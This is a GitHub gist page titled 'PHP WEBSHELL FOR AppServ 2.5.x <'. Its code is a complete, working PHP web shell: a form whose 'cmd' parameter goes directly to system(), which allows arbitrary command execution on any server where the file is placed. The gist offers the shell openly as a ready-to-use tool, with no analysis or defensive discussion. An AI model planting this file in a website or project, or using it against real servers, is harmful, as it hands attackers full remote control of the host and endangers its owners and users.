Skip to content

Instantly share code, notes, and snippets.

@nikitacontreras
Last active February 20, 2024 01:29
Show Gist options
  • Save nikitacontreras/2b8fe8f7cb8c0c33ddcffdeac0af0f0f to your computer and use it in GitHub Desktop.
Save nikitacontreras/2b8fe8f7cb8c0c33ddcffdeac0af0f0f to your computer and use it in GitHub Desktop.
PHP WEBSHELL FOR AppServ 2.5.x <
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment